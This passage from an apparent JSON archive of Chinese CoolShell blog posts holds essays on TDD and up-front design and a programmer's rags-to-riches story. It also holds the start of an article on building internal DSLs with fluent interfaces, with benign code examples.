测试来强行让你Design。后面有了附和到——有<strong>很多思想意识想用流程来代替思考，软件开发就是需要在某中上下文下去思考，而不是使用某种机制来让你思考</strong> 。</li>\n</ul>\n<ul>\n<li>我看了两极分化的大量的争论，这是我最喜欢看到事。世界就是因为有不同的观点而美好。<strong>有反对才有争论，有争论才有思考，这才是进步的源泉，而不是统一认识，形成标准</strong>。而对于那些党同伐异的，一听到有反对声就激动就要打压的敏粉来说，我只能认为他们的人生观世界观扭曲得就像朝鲜那样。</li>\n</ul>\n<div>（全文完）</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8209.html\"><img alt=\"“单元测试要做多细？”\" height=\"150\" src=\"../wp-content/uploads/2012/09/fight-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8209.html\">“单元测试要做多细？”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5143.html\"><img alt=\"在新浪微博上关于敏捷的一些讨论\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5143.html\">在新浪微博上关于敏捷的一些讨论</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4891.html\"><img alt=\"Bob大叔和Jim Coplien对TDD的论战\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4891.html\">Bob大叔和Jim Coplien对TDD的论战</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3778.html\"><img alt=\"敏捷水管工\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3778.html\">敏捷水管工</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3745.html\"><img alt=\"再谈敏捷和ThoughtWorks中国咨询师\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3745.html\">再谈敏捷和ThoughtWorks中国咨询师</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3766.html\"><img alt=\"[转]TDD到底美还是不美？\" height=\"150\" src=\"../wp-content/uploads/2011/02/feedback_cycle-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3766.html\">[转]TDD到底美还是不美？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5531.html\">Test-Driven Development？别逗了</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-10-20 Stay Hungry, Stay Foolish ！！.html",
    "content": "<html><body><p>在整个社会都在关注乔帮主的时候，我想在这里和大家分享一个真实的就在我们程序员身边的故事。和我在《<a href=\"https://coolshell.cn/articles/5514.html\" target=\"_blank\" title=\"如果你看不见你还能编程吗？\">如果你看不见你还能编吗？</a>》一文里介绍的那些盲人程序员一样，<strong>同样是Stay Hungry， Stay Foolish。但我个人更认为我今天想要给大家讲述的这个故事对于我们这些普通人更有意义一些。我真心的希望大家认真看完这个“从刷厕所到程序员”故事后，我们能从中感悟到点什么</strong>。</p>\n<p>因为朋友的原因，我和一个创业团队经常有些往来，通过这个团队，我认识了这个故事的主人翁——王平（<a href=\"http://weibo.com/wpingsuper\" target=\"_blank\">@wpingsuper</a>）。其实，很早前他在Google Reader和Buzz里follow了我，但我从没和他交流过。而他的经历我却是在上周末去看望这个创业团队的时候才听说。我问他们要了王平的电话，联系了王平，详细地了解了王平的经历，并征得他的同意，在这里给大家分享他的故事。</p>\n<p>王平是一个贵州人，03年大学毕业，体育专业，没有任何家庭背景，只能在贵州的山区里的一个中学里当体育老师，月薪150元。可能和大多数心怀梦想的年轻人一样，他并不甘心，从03年到05年间，他有好多次到北京，他觉得在大城市里有他的梦想。于是，他在04年底，05年初，他正式来到了北京，因为大学专业的问题，他无法找像大学生一样找到不错的工作，那时的他只能在北京一家很小的餐馆当清洁工，他在餐馆里洗盘子，扫地，刷厕所，一个月400元钱。</p>\n<p>因为他的学历是这个小餐馆里学历最高的，所以，餐馆里出了什么事都会让他对去搞，所以，财务使用的电脑有了故障也让他去修，当时的他根本对电脑完全不知道是怎么一回事，但是自从接触了电脑以后他就迷上了电脑。他和我说，他这个人就是好奇心强，好动，什么都想弄一弄，所以，时间长了，弄得多了，也能为餐饮解决一些没有懂的问题，维护财务电脑就是其中之一。日子一长，虽然还是刷厕所，但是薪水也涨到了800元一个月，就连餐馆的大厨也对他说，他不属于这里，他将来一定会有前途的。当时的他还觉得不可能，笑了笑就过了。</p>\n<p><span id=\"more-5651\"></span></p>\n<p>直到07年的一天，餐馆的会计对他说——“看你对电脑那么有兴趣，你应该去学习一下电脑”，这句话点醒了他。于是他在报纸上找到了一个教做网页的培训班，培训分成三期，近一年，每期需要7000元钱，好心的那个会计给了他6000元钱，让他可以在周末参加这个培训班。他和我说，这个会计是他的贵人，换钱的时候她也比较推辞，至今他也还和那位会计老师保持联系。</p>\n<p>不过好景不长，只上了一期，问题来了，餐馆周末也要上班，他无法去参加培训班了。所以，他只好辞职，去了中日友好医院，当一个送药工，就是用板车把药从这个地方送到另一个地方，全是体力活，一个月只有200元钱，不过他有了周末可以去培训班的那个时间。但是钱也花完了，上了两期都没法继续了。他和我说，当时觉得只要能活着就行，吃不饱无所谓。</p>\n<p>此时的他虽然上了网页制作的培训班，但是因为没有实际做一个东西，所以就算是培训了也什么都不懂。这时他看到Java是一个很不错的方向，所以，想学Java。于是，08年初的时候，他用自己以前办的信用卡向银行申请了个人贷款，去报了一个需要14000多元的Java的培训班。此时，他认识了我的朋友——阎斌（<a href=\"http://weibo.com/yanbin001\" target=\"_blank\">@yanbin001</a>），我这个朋友当时在这个培训公司里做讲师，讲Java。</p>\n<p>没有计算机基础的王平学习Java的难度可想而之，非常地痛苦，所以，阎斌看到他懂点网页开发，就让他别学Java了，搞搞Web的前端网页开发。而且，我这个朋友阎斌是个创业狂，所以，经常拉着王平一起去和他做互联网上的产品，并让王平去研究一些别人做的网页，于是王平从此学会做了Web前端，并开始能独立开发一些前端网页，有了实实在在的锻炼，王平他开始真正会用html + css，还会一点点js。</p>\n<p>09年4月份的时候，王平在北京西四环找到了第一份像样的工作，是一家做保健品的小公司，需要做一个公司的网站，月薪3400元。这让他得以还清了欠银行的钱。他还和我开玩笑说，他和我做的都是电子商务。当然，这对于他来说他并不满足。而我那个创业狂的朋友阎斌，又叫他出来创业，可惜创业再次未果。他只好又回去打工。</p>\n<p>2010年4月份的时候，他到了12580做前端开发，月薪4000元左右。他说，12580的前端开发只有他一个人，今天12580的网页90%以上还是他写的，并且他还让给了我这个链接：<a href=\"http://12580.10086.cn/\" target=\"_blank\">http://12580.10086.cn/</a>。大家可以去看看，你能想得到这个网页是出自一个以前对电脑一窍不通在饭馆里做清洁的人之手吗？</p>\n<p>此时的王平，对Web前端开发已经是驾轻就熟，非常熟练，就连后端的工程师对他也非常佩服。 觉得他用CSS和JS用得直是相当的不错。当然，王平并不满意这份工作，在10年的11月份，他换到了现在的工作单位——百度和日本Rokuten的合资公司——<a href=\"http://www.rakuten.cn/\" target=\"_blank\">乐酷天</a>。还是老样子，他一个人负责所有的前端开发，不过这次的跳槽，他找到了一份相当不错的薪水。我对这份薪水的理解是——高级前端开发程序员。我引用我另外一个在微软和出过国并和王平一同工作过的朋友的话——“王平太猛了，CSS和JS用得巨熟无比，每次我们请他帮我们搞定一个网页效果，我们问他2天行不行，结果他2个小时就搞定了！”。</p>\n<p>好了，我的故事到这里要结束了，先让我们来看一看80后王平的样子吧。</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_5652\" style=\"width: 585px;\"><img alt=\"\" class=\"size-full wp-image-5652\" height=\"403\" src=\"../wp-content/uploads/2011/10/wpingsuper.jpg\" title=\"80后——王平\" width=\"585\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-5652\">在享受工作的王平，个人博客 http://www.soboom.com</figcaption></figure>\n<p>我不知道你看完这个故事后是什么样的感受。我有两个感觉——</p>\n<ul>\n<li>乔布斯说Stay Hungry, Stay Foolish。今天，当我们所有的人都在仰望神一样的乔布斯的时候，在我们津津乐道那些浪潮之巅的人物时，在听过王平对我讲述他的经历过后，我只想说，其实，我们大多数人真的不懂什么是——Stay Hungry, Stay Foolish。包括我自己在内。</li>\n</ul>\n<ul>\n<li>王平让还让我想到了电影《命运规划局》里的最后一句话，大概是这样说的——“<strong>大多数人按照我们所安排的路线生活，害怕探索其它路线，但也会有一些人，他们并不满足于被设定的生活轨迹，冲破我们设置的重重阻碍，意识到自由意志是天赐之物的人，才明白只有在奋力抗争后才知道如何善用之</strong>。”</li>\n</ul>\n<p>（全文完）</p>\n<p><em><strong>————更新 2011/10/20 15:00————</strong></em></p>\n<p>有些人觉得这篇文章是给培训公司做广告或是炒作。有些人觉得几百元钱在北京生存并不可能。我可以理解你们的怀疑，但这些言论让我有些无语，我只希望你们能在做些调查后，再做这样的结论。<strong><span style=\"color: #cc0000;\">你可以看到，王平在第一个培训公司没有学到什么，在第二个培训公司也没有学到什么，而是在和我的朋友阎斌去尝试创业时才学到了很多。呼唤这些人的阅读智商啊</span></strong>。</p>\n<p>这个世界有时候并不是像我们所想像的那样，在北京，几百元一个月的人并不少，上大学也好，去培训公司也好，这都不重要，重要的是我们想改变自己的那种心态和积极。而我只希望王平的经历能给大家带来人生的一些感触。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5651.html\">Stay Hungry, Stay Foolish ！！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-10-25 多些时间能少写些代码.html",
    "content": "<html><body><p>我在我的微博上说过<a href=\"http://weibo.com/1401880315/xmYMteUWT\" target=\"_blank\">这样一段话</a>，我想在这里把我的这个观点阐述地更完整一些。</p>\n<blockquote><p><a href=\"http://weibo.com/haoel\" target=\"_blank\">@左耳朵耗子</a>：聪明的程序员使用50%-70%的时间用来思考，尝试和权衡各种设计和实现，而用30% – 50%的时间是在忙碌着编码，调试和测试。聪明的老板也会让团队这样做。而傻逼的老板，苦逼的程序员会拿出来100%-150%的时间来忙着赶进度，返工，重构，fix 大量的bug… 所以， 越差的团队一般会越忙，而且还忙不完。</p></blockquote>\n<p>在现在这个浮躁的时期，再加上敏捷咨询师们念的歪经，他们让人感觉上就像是软件产品是可以在很短的时间内高质量的完成的，这令那些管理者们很兴奋，就像巴甫洛夫的条件反射实验中的狗看到了肉就会流口水那样兴奋。他们使用TDD，快速迭代，不断重构，持续集成直至持续部署的方法在进行软件开发。</p>\n<p>软件开发真是这样的吗？难道不需要花时间去思考吗？对此，有些观点在Todd的《<a href=\"https://coolshell.cn/articles/5625.html\" target=\"_blank\" title=\"“品质在于构建过程”吗？\">“品质在于构建过程”吗？</a>》以及《<a href=\"https://coolshell.cn/articles/4891.html\" target=\"_blank\" title=\"Bob大叔和Jim Coplien对TDD的论战\">Bob大叔和Jim Coplien对TDD的论战</a>》中谈到过了。我只想想表达下面的观点：</p>\n<ul>\n<li><strong>软件的精髓在于设计，设计是一件很费大脑的事件</strong>。对于软件来说，设计没有完美的，它总是一件需要取舍需要权衡的事，比如：时间换空间，空间换时间，TCP或UDP，同步还是异步，数据冗余还不冗余等等。那怕是一个小小的observers模式是pull方式还是push方式 都需要仔细讨论。这些的东西需要时间和做前期尝试。</li>\n</ul>\n<ul>\n<li><strong>TDD</strong>、<strong>快速原型和迭代可能会对软件和团队产生负面影响</strong>。在一开始，你需要花很大的精力来让你的软件从无到有（做过软件的人都知道，从零开始写代码是很痛苦的事），但是因为你没有想好，先做再说，所以，后期你会面临更多的质量问题而让你需要花更多的时间精力。当然，那些咨询师会让你用持续集成和持续部署这样的方法。但我想告诉你，这并不解决你软件设计的缺陷。举个例子——TDD、迭代、原型只关注功能性需求，其不会关注非功能性需求，比如性能问题，高可用性问题，系统维护问题（模块的耦合问题），等等。而这些问题往往都可以让你的软件设计重新来过。</li>\n</ul>\n<ul>\n<li><strong>重构是恶梦，重构应该越少越好</strong>。当你维护一个复杂的系统时你会知道重构是一件多么恐怖的事情（参看《<a href=\"https://coolshell.cn/articles/5201.html\" target=\"_blank\" title=\"重构代码的7个阶段\">重构代码的7个阶段</a>》）。如果一开始没有想好，你要面临的不单单是re-design, re-architect，还要面对时间和人力成本的增加，最难的是你还要面对的是团队士气因为不断的rework而逐渐低落并产生厌倦和懈怠情绪。</li>\n</ul>\n<p><span id=\"more-5686\"></span></p>\n<p>所以，如果你能有多一些时间去和客户讨论一下需求和未来可能的变化，去调查一下实现的技术难点和细节，去和其他有经验的人讨论并推敲一下架构和设计，去思考设计上的缺陷，那么，你的coding会变得非常地直，直到你一眼就看到尽头，你的测试案例也会写得非常地好，你会几乎不需要重构，于是，你会在未来少写很多代码，从而你的软件开发会越来越轻松，直到技术开始换代。</p>\n<p>我现在在做的项目，花了几乎4个月的时间来做设计，在这个过程中，我们反复思考、讨论和权衡若干种实现方法，并尽可能地穷举所有的场景和细节以及未来可能的变化（那怕是那些简单的模块），有个模块被重写了至少三次，每次都是写到一半就被推翻重写，我们整个团队不断地在和其它团队讨论，并在对系统不断地认识中对系统进行简化和优化，并力求达到完美。现在看来，没有贸然使用Scrum是明智的。</p>\n<p>这就好像我们修路造桥一样，我们需要花大量的时间勘测地形地质，分析数据，思考可能出现的各种问题（各种自然灾害），评估不同的设计方案，而不是先尽快建好再说。</p>\n<p>所以，<strong>多一些时间，不是让你多做几次迭代，多完成几个模块，而是可以让你少写一些代码，更快的交付一个更好的产品</strong>。</p>\n<p>我相信你会有很多疑问，下面是我觉得你可能会有下面的一些观点，让我一条一条来回复：</p>\n<ul>\n<li><strong>首当其冲的一定会是项目的deadline，或是那种你没有活语权的项目。</strong>比如做那种“甲乙方合同式的项目”，我把这种项目统一认为是“外包项目”，在这种项目性质下，你很难有话语权。对此，我觉得，1）作为乙方的你还是应该和甲方在项目计划上争取一下，晓之以情，动之以理。2）如果不行，只能在时间、需求范围和质量上做一个权衡。另外，<strong>在这种情况下你要找一个方法，把你的压力和痛苦分担给用户和领导。</strong>（找到这个方法的前提需要你找到用户和领导他们害怕什么，嘿嘿）</li>\n</ul>\n<ul>\n<li><strong>过度设计和纸上谈兵</strong>。有人说会不会设计太多，造成过度设计，或是在设计上花太多的时间。这有可能。我上一家公司的一个项目团队就花了1年多的时间来不停不停的开会和做设计，结果release的时候还有1000多个bug。这个问题的原因是，这个团队的设计是在纸上谈兵，开会是开神仙会，讨论的设计都是浮云。所以，<strong>设计并不是讨论和思考，还需要去尝试，</strong>我认为当你的设计完成的时候，你的骨干核心代码都基本完成了。</li>\n</ul>\n<ul>\n<li><strong>我的团队成员水平太差，不会思考</strong>。首先，先恭喜你找到一堆码农，当然，这不怪你，这是中国教育和大环境的问题，让人不会思考。对于这样的情况，我有两个建议，1）量力而行，使多大的碗就吃多少饭。2）鼓励思考，那怕那些想法很不靠谱，因为如果不开始，那么将永远不会思考。</li>\n</ul>\n<ul>\n<li><strong>必需使用快速迭代</strong>。很多公司都在强行上敏捷，他们希望产品越快release越好，而没有充分的时间思考和讨论。对于这种项目，我的建议是，1）找有丰富经验的人来做。2）迭代过程中力求架构和程序逻辑的简单，简单，再简单，力求代码间的高内聚，低耦合。不然，重构的时候你就好玩了。</li>\n</ul>\n<ul>\n<li><strong>创业团队必需要快</strong>。做得快就是做得好吗？很多时候，不是谁快谁就能笑到最后的。这样的例子太多了。第一个做出来的人并不一定就会占领市场，其很有可能会成为先驱。</li>\n</ul>\n<ul>\n<li><strong>有钱的公司才会让团队用更多的时间去思考</strong>。错了，你们没有见过有钱的公司，有钱的公司可以招一堆干不成活的人，可以把事搞乱了再新来过，甚至可以把做失败的项目换个名字再重新立项。这些真正的有钱的公司只求快，只求人多，不怕做错决定。像我们这些没钱的人，干什么事都是小心翼翼地，生怕做错决定。</li>\n</ul>\n<p>关于软件项目管理的文章，还可以参看《<a href=\"https://coolshell.cn/articles/4951.html\" title=\"软件公司的两种管理方式\">软件公司的两种管理方式</a>》，最后，欢迎大家表达观点。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17680.html\"><img alt=\"从Gitlab误删除数据库想到的\" height=\"150\" src=\"../wp-content/uploads/2017/02/gitlab-600-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17680.html\">从Gitlab误删除数据库想到的</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17459.html\"><img alt=\"关于高可用的系统\" height=\"150\" src=\"../wp-content/uploads/2016/08/HighAvailability-BK-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17459.html\">关于高可用的系统</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9949.html\"><img alt=\"IoC/DIP其实是一种管理思想\" height=\"150\" src=\"../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9949.html\">IoC/DIP其实是一种管理思想</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6775.html\"><img alt=\"Bret Victor – Inventing on Principle\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6775.html\">Bret Victor – Inventing on Principle</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5444.html\"><img alt=\"千万不要把 bool 设计成函数参数\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5444.html\">千万不要把 bool 设计成函数参数</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5686.html\">多些时间能少写些代码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-10-31 API设计：用流畅接口构造内部DSL.html",
    "content": "<html><body><p><strong>感谢<a href=\"http://weibo.com/n/weidagang\">@weidagang</a> （Todd）向酷壳投递本文。</strong></p>\n<p>程序设计语言的抽象机制包含了两个最基本的方面：一是语言关注的基本元素/语义；另一个是从基本元素/语义到复合元素/语义的构造规则。在C、C++、Java、C#、Python等通用语言中，语言的基本元素/语义往往离问题域较远，通过API库的形式进行层层抽象是降低问题难度最常用的方法。比如，在C语言中最常见的方式是提供函数库来封装复杂逻辑，方便外部调用。</p>\n<p>不过普通的API设计方法存在一种天然的陷阱，那就是不管怎样封装，大过程虽然比小过程抽象层次更高，但本质上还是过程，受到过程语义的制约。也就是说，通过基本元素/语义构造更高级抽象元素/语义的时候，语言的构造规则很大程度上限制了抽象的维度，我们很难跳出这个维度去，甚至可能根本意识不到这个限制。而SQL、HTML、CSS、make等DSL（领域特定语言）的抽象维度是为特定领域量身定做的，从这些抽象角度看问题往往最为简单，所以DSL在解决其特定领域的问题时比通用程序设计语言更加方便。通常，SQL等非通用语言被称为外部DSL（External DSL）；在通用语言中，我们其实也可以在一定程度上突破语言构造规则的抽象维度限制，定义内部DSL（Internal DSL）。</p>\n<p>本文将介绍一种被称为流畅接口（Fluent Interface）的内部DSL设计方法。Wikipedia上<a href=\"http://en.wikipedia.org/wiki/Fluent_interface\" title=\"Fluent Interface\">Fluent Interface</a>的定义是：</p>\n<blockquote><p>A fluent interface (as first coined by Eric Evans and Martin Fowler) is an implementation of an object oriented API that aims to provide for more readable code. A fluent interface is normally implemented by using method chaining to relay the instruction context of a subsequent call (but a fluent interface entails more than just method chaining).</p></blockquote>\n<div>\n<p>下面将分4个部分来逐步说明流畅接口在构造内部DSL中的典型应用。</p>\n</div>\n<h4><strong>1. 基本语义抽象</strong></h4>\n<p>如果要输出0..4这5个数，我们一般会首先想到类似这样的代码：</p>\n<pre class=\"EnlighterJSRAW\">\n//Java\nfor (int i = 0; i &lt; 5; ++i) {\n    system.out.println(i);\n}</pre>\n<p><span id=\"more-5709\"></span></p>\n<p>而Ruby虽然也支持类似的for循环，但最简单的是下面这样的实现：</p>\n<pre class=\"EnlighterJSRAW\">\n//Ruby\n5.times {|i| puts i}</pre>\n<p>Ruby中一切皆对象，5是Fixnum类的实例，times是Fixnum的一个方法，它接受一个block参数。相比for循环实现，Ruby的times方式更简洁，可读性更强，但熟悉OOP的朋友可能会有疑问，times是否应该作为整型类的方法呢？在OOP中，方法调用通常代表了向对象发送消息，改变或查询对象的状态，times方法显然不是对整型对象状态的查询和修改。如果你是Ruby的设计者，你会把times方法放入Fixnum类吗？如果答案是否定的，那么Ruby的这种设计本质上代表了什么呢？实际上，这里的times虽然只是一个普通的类方法，但它的目的却与普通意义上的类方法不同，它的语义实际上类似于for循环这样的语言基本语义，可以被视为一种自定义的基本语义。times的语义从一定程度上跳出了类方法的框框，向问题域迈进了一步！</p>\n<p>另一个例子来自Eric Evans的“用两个时间点构造一个时间段对象”，普通设计：</p>\n<pre class=\"EnlighterJSRAW\">\n//Java\nTimePoint fiveOClock, sixOClock;\nTimeInterval meetingTime = new TimeInterval(fiveOClock, sixOClock);</pre>\n<p>另一种Evans的设计是这样：</p>\n<pre class=\"EnlighterJSRAW\">\n//Java\nTimeInterval meetingTime = fiveOClock.until(sixOClock);</pre>\n<p>按传统OO设计，until方法本不应出现在TimePoint类中，这里TimePoint类的until方法同样代表了一种自定义的基本语义，使得表达时间域的问题更加自然。</p>\n<p>虽然上面的两个简单例子和普通设计相比看不出太大的优势，但它却为我们理解流畅接口打下了基础。重要的是应该体会到它们从一定程度上跳出了语言基本抽象机制的束缚，我们不应该再用类职责划分、迪米特法则（Law of Demeter）等OO设计原则来看待它们。</p>\n<h4><strong>2. 管道抽象</strong></h4>\n<p>在Shell中，我们可以通过管道将一系列的小命令组合在一起实现复杂的功能。管道中流动的是单一类型的文本流，计算过程就是从输入流到输出流的变换过程，每个命令是对文本流的一次变换作用，通过管道将作用叠加起来。在Shell中，很多时候我们只需要一句话就能完成log统计这样的中小规模问题。和其他抽象机制相比，管道的优美在于无嵌套。比如下面这段C程序，由于嵌套层次较深，不容易一下子理解清楚：</p>\n<pre class=\"EnlighterJSRAW\">\n//C\nmin(max(min(max(a,b),c),d),e)\n</pre>\n<p>而用管道来表达同样的功能则清晰得多：</p>\n<pre class=\"EnlighterJSRAW\">\n#!/bin/bash\nmax a b | min c | max d | min e\n</pre>\n<p>我们很容易理解这段程序表达的意思是：先求a, b的最大值；再把结果和c取最小值；再把结果和d求最大值；再把结果和e求最小值。</p>\n<p>jQuery的链式调用设计也具有管道的风格，方法链上流动的是同一类型的jQuery对象，每一步方法调用是对对象的一次作用，整个方法链将各个方法的作用叠加起来。</p>\n<pre class=\"EnlighterJSRAW\">\n//Javascript\n$('li').filter(':event').css('background-color', 'red');\n</pre>\n<h4>3. 层次结构抽象</h4>\n<p>除了管道这种“线性”结构外，流畅接口还可用于构造层次结构抽象。比如，用Javascript动态创建创建下面的HTML片段：</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;div id=\"’product_123’\" class=\"’product’\"&gt;\n&lt;img src=\"’preview_123.jpg’\" alt=\"\" /&gt;\n&lt;ul&gt;\n\t&lt;li&gt;Name: iPad2 32G&lt;/li&gt;\n\t&lt;li&gt;Price: 3600&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/div&gt;\n\n</pre>\n<p>若采用Javascript的DOM API：</p>\n<pre class=\"EnlighterJSRAW\">\n//Javascript\nvar div = document.createElement('div');\ndiv.setAttribute(‘id’, ‘product_123’);\ndiv.setAttribute(‘class’, ‘product’);\n\nvar img = document.createElement('img');\nimg.setAttribute(‘src’, ‘preview_123.jpg’);\ndiv.appendChild(img);\n\nvar ul = document.createElement('ul');\nvar li1 = document.createElement('li');\nvar txt1 = document.createTextNode(\"Name: iPad2 